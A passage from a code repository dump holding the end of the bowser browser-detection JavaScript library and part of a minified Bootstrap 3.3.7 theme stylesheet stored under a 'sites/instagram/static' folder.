getFirstMatch(/bada\/(\d+(\.\d+)*)/i); 389 | } else if (result.tizen) { 390 | osVersion = getFirstMatch(/tizen[\/\s](\d+(\.\d+)*)/i); 391 | } 392 | if (osVersion) { 393 | result.osversion = osVersion; 394 | } 395 | 396 | // device type extraction 397 | var osMajorVersion = !result.windows && osVersion.split('.')[0]; 398 | if ( 399 | tablet 400 | || nexusTablet 401 | || iosdevice == 'ipad' 402 | || (android && (osMajorVersion == 3 || (osMajorVersion >= 4 && !mobile))) 403 | || result.silk 404 | ) { 405 | result.tablet = t 406 | } else if ( 407 | mobile 408 | || iosdevice == 'iphone' 409 | || iosdevice == 'ipod' 410 | || android 411 | || nexusMobile 412 | || result.blackberry 413 | || result.webos 414 | || result.bada 415 | ) { 416 | result.mobile = t 417 | } 418 | 419 | // Graded Browser Support 420 | // http://developer.yahoo.com/yui/articles/gbs 421 | if (result.msedge || 422 | (result.msie && result.version >= 10) || 423 | (result.yandexbrowser && result.version >= 15) || 424 | (result.vivaldi && result.version >= 1.0) || 425 | (result.chrome && result.version >= 20) || 426 | (result.samsungBrowser && result.version >= 4) || 427 | (result.firefox && result.version >= 20.0) || 428 | (result.safari && result.version >= 6) || 429 | (result.opera && result.version >= 10.0) || 430 | (result.ios && result.osversion && result.osversion.split(".")[0] >= 6) || 431 | (result.blackberry && result.version >= 10.1) 432 | || (result.chromium && result.version >= 20) 433 | ) { 434 | result.a = t; 435 | } 436 | else if ((result.msie && result.version < 10) || 437 | (result.chrome && result.version < 20) || 438 | (result.firefox && result.version < 20.0) || 439 | (result.safari && result.version < 6) || 440 | (result.opera && result.version < 10.0) || 441 | (result.ios && result.osversion && result.osversion.split(".")[0] < 6) 442 | || (result.chromium && result.version < 20) 443 | ) { 444 | result.c = t 445 | } else result.x = t 446 | 447 | return result 448 | } 449 | 450 | var bowser = detect(typeof navigator !== 'undefined' ? navigator.userAgent || '' : '') 451 | 452 | bowser.test = function (browserList) { 453 | for (var i = 0; i < browserList.length; ++i) { 454 | var browserItem = browserList[i]; 455 | if (typeof browserItem=== 'string') { 456 | if (browserItem in bowser) { 457 | return true; 458 | } 459 | } 460 | } 461 | return false; 462 | } 463 | 464 | /** 465 | * Get version precisions count 466 | * 467 | * @example 468 | * getVersionPrecision("1.10.3") // 3 469 | * 470 | * @param {string} version 471 | * @return {number} 472 | */ 473 | function getVersionPrecision(version) { 474 | return version.split(".").length; 475 | } 476 | 477 | /** 478 | * Array::map polyfill 479 | * 480 | * @param {Array} arr 481 | * @param {Function} iterator 482 | * @return {Array} 483 | */ 484 | function map(arr, iterator) { 485 | var result = [], i; 486 | if (Array.prototype.map) { 487 | return Array.prototype.map.call(arr, iterator); 488 | } 489 | for (i = 0; i < arr.length; i++) { 490 | result.push(iterator(arr[i])); 491 | } 492 | return result; 493 | } 494 | 495 | /** 496 | * Calculate browser version weight 497 | * 498 | * @example 499 | * compareVersions(['1.10.2.1', '1.8.2.1.90']) // 1 500 | * compareVersions(['1.010.2.1', '1.09.2.1.90']); // 1 501 | * compareVersions(['1.10.2.1', '1.10.2.1']); // 0 502 | * compareVersions(['1.10.2.1', '1.0800.2']); // -1 503 | * 504 | * @param {Array} versions versions to compare 505 | * @return {Number} comparison result 506 | */ 507 | function compareVersions(versions) { 508 | // 1) get common precision for both versions, for example for "10.0" and "9" it should be 2 509 | var precision = Math.max(getVersionPrecision(versions[0]), getVersionPrecision(versions[1])); 510 | var chunks = map(versions, function (version) { 511 | var delta = precision - getVersionPrecision(version); 512 | 513 | // 2) "9" -> "9.0" (for precision = 2) 514 | version = version + new Array(delta + 1).join(".0"); 515 | 516 | // 3) "9.0" -> ["000000000"", "000000009"] 517 | return map(version.split("."), function (chunk) { 518 | return new Array(20 - chunk.length).join("0") + chunk; 519 | }).reverse(); 520 | }); 521 | 522 | // iterate in reverse order by reversed chunks array 523 | while (--precision >= 0) { 524 | // 4) compare: "000000009" > "000000010" = false (but "9" > "10" = true) 525 | if (chunks[0][precision] > chunks[1][precision]) { 526 | return 1; 527 | } 528 | else if (chunks[0][precision] === chunks[1][precision]) { 529 | if (precision === 0) { 530 | // all version chunks are same 531 | return 0; 532 | } 533 | } 534 | else { 535 | return -1; 536 | } 537 | } 538 | } 539 | 540 | /** 541 | * Check if browser is unsupported 542 | * 543 | * @example 544 | * bowser.isUnsupportedBrowser({ 545 | * msie: "10", 546 | * firefox: "23", 547 | * chrome: "29", 548 | * safari: "5.1", 549 | * opera: "16", 550 | * phantom: "534" 551 | * }); 552 | * 553 | * @param {Object} minVersions map of minimal version to browser 554 | * @param {Boolean} [strictMode = false] flag to return false if browser wasn't found in map 555 | * @param {String} [ua] user agent string 556 | * @return {Boolean} 557 | */ 558 | function isUnsupportedBrowser(minVersions, strictMode, ua) { 559 | var _bowser = bowser; 560 | 561 | // make strictMode param optional with ua param usage 562 | if (typeof strictMode === 'string') { 563 | ua = strictMode; 564 | strictMode = void(0); 565 | } 566 | 567 | if (strictMode === void(0)) { 568 | strictMode = false; 569 | } 570 | if (ua) { 571 | _bowser = detect(ua); 572 | } 573 | 574 | var version = "" + _bowser.version; 575 | for (var browser in minVersions) { 576 | if (minVersions.hasOwnProperty(browser)) { 577 | if (_bowser[browser]) { 578 | if (typeof minVersions[browser] !== 'string') { 579 | throw new Error('Browser version in the minVersion map should be a string: ' + browser + ': ' + String(minVersions)); 580 | } 581 | 582 | // browser version and min supported version. 583 | return compareVersions([version, minVersions[browser]]) < 0; 584 | } 585 | } 586 | } 587 | 588 | return strictMode; // not found 589 | } 590 | 591 | /** 592 | * Check if browser is supported 593 | * 594 | * @param {Object} minVersions map of minimal version to browser 595 | * @param {Boolean} [strictMode = false] flag to return false if browser wasn't found in map 596 | * @param {String} [ua] user agent string 597 | * @return {Boolean} 598 | */ 599 | function check(minVersions, strictMode, ua) { 600 | return !isUnsupportedBrowser(minVersions, strictMode, ua); 601 | } 602 | 603 | bowser.isUnsupportedBrowser = isUnsupportedBrowser; 604 | bowser.compareVersions = compareVersions; 605 | bowser.check = check; 606 | 607 | /* 608 | * Set our detect method to the main bowser object so we can 609 | * reuse it to test other user agents. 610 | * This is needed to implement future tests. 611 | */ 612 | bowser._detect = detect; 613 | 614 | /* 615 | * Set our detect public method to the main bowser object 616 | * This is needed to implement bowser in server side 617 | */ 618 | bowser.detect = detect; 619 | return bowser 620 | }); 621 | -------------------------------------------------------------------------------- /sites/instagram/static/bootstrap-theme.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.7 (http://getbootstrap.com) 3 | * Copyright 2011-2017 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | /*! 8 | * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=805d360491474448fe52fa5cb08fdd55) 9 | * Config saved to config.json and https://gist.github.com/805d360491474448fe52fa5cb08fdd55 10 | *//*! 11 | * Bootstrap v3.3.7 (http://getbootstrap.com) 12 | * Copyright 2011-2016 Twitter, Inc. 13 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 14 | */.btn-default,.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger{text-shadow:0 -1px 0 rgba(0,0,0,0.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 1px rgba(0,0,0,0.075)}.btn-default:active,.btn-primary:active,.btn-success:active,.btn-info:active,.btn-warning:active,.btn-danger:active,.btn-default.active,.btn-primary.active,.btn-success.active,.btn-info.active,.btn-warning.active,.btn-danger.active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-default.disabled,.btn-primary.disabled,.btn-success.disabled,.btn-info.disabled,.btn-warning.disabled,.btn-danger.disabled,.btn-default[disabled],.btn-primary[disabled],.btn-success[disabled],.btn-info[disabled],.btn-warning[disabled],.btn-danger[disabled],fieldset[disabled] .btn-default,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-info,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-danger{-webkit-box-shadow:none;box-shadow:none}.btn-default .badge,.btn-primary .badge,.btn-success .badge,.btn-info .badge,.btn-warning .badge,.btn-danger .badge{text-shadow:none}.btn:active,.btn.active{background-image:none}.btn-default{background-image:-webkit-linear-gradient(top, #fff 0, #e0e0e0 100%);background-image:-o-linear-gradient(top, #fff 0, #e0e0e0 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), to(#e0e0e0));background-image:linear-gradient(to bottom, #fff 0, #e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#dbdbdb;text-shadow:0 1px 0 #fff;border-color:#ccc}.btn-default:hover,.btn-default:focus{background-color:#e0e0e0;background-position:0 -15px}.btn-default:active,.btn-default.active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled.focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default.focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top, #82ac6a 0, #648b4d 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #648b4d 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#648b4d));background-image:linear-gradient(to bottom, #82ac6a 0, #648b4d 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff648b4d', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#5f854a}.btn-primary:hover,.btn-primary:focus{background-color:#648b4d;background-position:0 -15px}.btn-primary:active,.btn-primary.active{background-color:#648b4d;border-color:#5f854a}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled.focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary.focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#648b4d;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top, #5cb85c 0, #419641 100%);background-image:-o-linear-gradient(top, #5cb85c 0, #419641 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #5cb85c), to(#419641));background-image:linear-gradient(to bottom, #5cb85c 0, #419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:hover,.btn-success:focus{background-color:#419641;background-position:0 -15px}.btn-success:active,.btn-success.active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled.focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success.focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top, #94b87f 0, #73a159 100%);background-image:-o-linear-gradient(top, #94b87f 0, #73a159 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #94b87f), to(#73a159));background-image:linear-gradient(to bottom, #94b87f 0, #73a159 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff94b87f', endColorstr='#ff73a159', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#6f9a55}.btn-info:hover,.btn-info:focus{background-color:#73a159;background-position:0 -15px}.btn-info:active,.btn-info.active{background-color:#73a159;border-color:#6f9a55}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled.focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info.focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#73a159;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top, #f0ad4e 0, #eb9316 100%);background-image:-o-linear-gradient(top, #f0ad4e 0, #eb9316 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f0ad4e), to(#eb9316));background-image:linear-gradient(to bottom, #f0ad4e 0, #eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:hover,.btn-warning:focus{background-color:#eb9316;background-position:0 -15px}.btn-warning:active,.btn-warning.active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled.focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning.focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top, #d9534f 0, #c12e2a 100%);background-image:-o-linear-gradient(top, #d9534f 0, #c12e2a 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #d9534f), to(#c12e2a));background-image:linear-gradient(to bottom, #d9534f 0, #c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:hover,.btn-danger:focus{background-color:#c12e2a;background-position:0 -15px}.btn-danger:active,.btn-danger.active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled.focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger.focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#c12e2a;background-image:none}.thumbnail,.img-thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.075);box-shadow:0 1px 2px rgba(0,0,0,0.075)}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{background-image:-webkit-linear-gradient(top, #f5f5f5 0, #e8e8e8 100%);background-image:-o-linear-gradient(top, #f5f5f5 0, #e8e8e8 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f5f5f5), to(#e8e8e8));background-image:linear-gradient(to bottom, #f5f5f5 0, #e8e8e8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-color:#e8e8e8}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{background-image:-webkit-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#75a25a));background-image:linear-gradient(to bottom, #82ac6a 0, #75a25a 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff75a25a', GradientType=0);background-color:#75a25a}.navbar-default{background-image:-webkit-linear-gradient(top, #fff 0, #f8f8f8 100%);background-image:-o-linear-gradient(top, #fff 0, #f8f8f8 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), to(#f8f8f8));background-image:linear-gradient(to bottom, #fff 0, #f8f8f8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 5px rgba(0,0,0,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 5px rgba(0,0,0,0.075)}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top, #dbdbdb 0, #e2e2e2 100%);background-image:-o-linear-gradient(top, #dbdbdb 0, #e2e2e2 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #dbdbdb), to(#e2e2e2));background-image:linear-gradient(to bottom, #dbdbdb 0, #e2e2e2 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,0.075);box-shadow:inset 0 3px 9px rgba(0,0,0,0.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,0.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top, #3c3c3c 0, #222 100%);background-image:-o-linear-gradient(top, #3c3c3c 0, #222 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #3c3c3c), to(#222));background-image:linear-gradient(to bottom, #3c3c3c 0, #222 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border-radius:4px}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.active>a{background-image:-webkit-linear-gradient(top, #080808 0, #0f0f0f 100%);background-image:-o-linear-gradient(top, #080808 0, #0f0f0f 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #080808), to(#0f0f0f));background-image:linear-gradient(to bottom, #080808 0, #0f0f0f 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,0.25);box-shadow:inset 0 3px 9px rgba(0,0,0,0.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,0.25)}.navbar-static-top,.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-image:-webkit-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#75a25a));background-image:linear-gradient(to bottom, #82ac6a 0, #75a25a 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff75a25a', GradientType=0)}}.alert{text-shadow:0 1px 0 rgba(255,255,255,0.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.25),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.25),0 1px 2px rgba(0,0,0,0.05)}.alert-success{background-image:-webkit-linear-gradient(top, #dff0d8 0, #c8e5bc 100%);background-image:-o-linear-gradient(top, #dff0d8 0, #c8e5bc 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #dff0d8), to(#c8e5bc));background-image:linear-gradient(to bottom, #dff0d8 0, #c8e5bc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top, #d9edf7 0, #b9def0 100%);background-image:-o-linear-gradient(top, #d9edf7 0, #b9def0 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #d9edf7), to(#b9def0));background-image:linear-gradient(to bottom, #d9edf7 0, #b9def0 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top, #fcf8e3 0, #f8efc0 100%);background-image:-o-linear-gradient(top, #fcf8e3 0, #f8efc0 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #fcf8e3), to(#f8efc0));background-image:linear-gradient(to bottom, #fcf8e3 0, #f8efc0 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top, #f2dede 0, #e7c3c3 100%);background-image:-o-linear-gradient(top, #f2dede 0, #e7c3c3 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f2dede), to(#e7c3c3));background-image:linear-gradient(to bottom, #f2dede 0, #e7c3c3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top, #ebebeb 0, #f5f5f5 100%);background-image:-o-linear-gradient(top, #ebebeb 0, #f5f5f5 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #ebebeb), to(#f5f5f5));background-image:linear-gradient(to bottom, #ebebeb 0, #f5f5f5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0)}.progress-bar{background-image:-webkit-linear-gradient(top, #82ac6a 0, #699251 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #699251 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#699251));background-image:linear-gradient(to bottom, #82ac6a 0, #699251 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff699251', GradientType=0)}.progress-bar-success{background-image:-webkit-linear-gradient(top, #5cb85c 0, #449d44 100%);background-image:-o-linear-gradient(top, #5cb85c 0, #449d44 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #5cb85c), to(#449d44));background-image:linear-gradient(to bottom, #5cb85c 0, #449d44 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0)}.progress-bar-info{background-image:-webkit-linear-gradient(top, #94b87f 0, #79a65e 100%);background-image:-o-linear-gradient(top, #94b87f 0, #79a65e 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #94b87f), to(#79a65e));background-image:linear-gradient(to bottom, #94b87f 0, #79a65e 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff94b87f', endColorstr='#ff79a65e', GradientType=0)}.progress-bar-warning{background-image:-webkit-linear-gradient(top, #f0ad4e 0, #ec971f 100%);background-image:-o-linear-gradient(top, #f0ad4e 0, #ec971f 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f0ad4e), to(#ec971f));background-image:linear-gradient(to bottom, #f0ad4e 0, #ec971f 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0)}.progress-bar-danger{background-image:-webkit-linear-gradient(top, #d9534f 0, #c9302c 100%);background-image:-o-linear-gradient(top, #d9534f 0, #c9302c 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #d9534f), to(#c9302c));background-image:linear-gradient(to bottom, #d9534f 0, #c9302c 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0)}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.075);box-shadow:0 1px 2px rgba(0,0,0,0.075)}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{text-shadow:0 -1px 0 #699251;background-image:-webkit-linear-gradient(top, #82ac6a 0, #6f9a55 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #6f9a55 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#6f9a55));background-image:linear-gradient(to bottom, #82ac6a 0, #6f9a55 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff6f9a55', GradientType=0);border-color:#6f9a55}.list-group-item.active .badge,.list-group-item.active:hover .badge,.list-group-item.active:focus .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top, #f5f5f5 0, #e8e8e8 100%);background-image:-o-linear-gradient(top, #f5f5f5 0, #e8e8e8 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #f5f5f5), to(#e8e8e8));background-image:linear-gradient(to bottom, #f5f5f5 0, #e8e8e8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0)}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-o-linear-gradient(top, #82ac6a 0, #75a25a 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #82ac6a), to(#75a25a));background-image:linear-gradient(to bottom, #82ac6a 0, #75a25a 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff82ac6a', endColorstr='#ff75a25a', GradientType=0)}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top, #dff0d8 0, #d0e9c6 100%);background-image:-o-linear-gradient(top, #dff0d8 0, #d0e9c6 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #dff0d8), to(#d0e9c6));background-image:linear-gradient(to bottom, #dff0d8 0, #d0e9c6 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0)}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top, #d9edf7 0, #c4e3f3 100%);background-image:-o-linear-gradient(top, #d9edf7 0, #c4e3f3 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #d9edf7), to(#c4e3f3));background-image:linear-gradient(to bottom, #d9edf7 0, #c4e3f3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0)}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top, #fcf8e3 0, #faf2cc 100%);background-image:-o-linear-gradient(top, #fcf8e3 0, #faf2cc 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0, #fcf8e3), to(#faf2cc));background-image:linear-gradient(to bottom, #fcf8e3 0, #faf2cc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0)}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top, #f2dede 0, #ebcccc 100%);background-image:-o-linear-gradient(top, #f2dede 0, #ebcccc 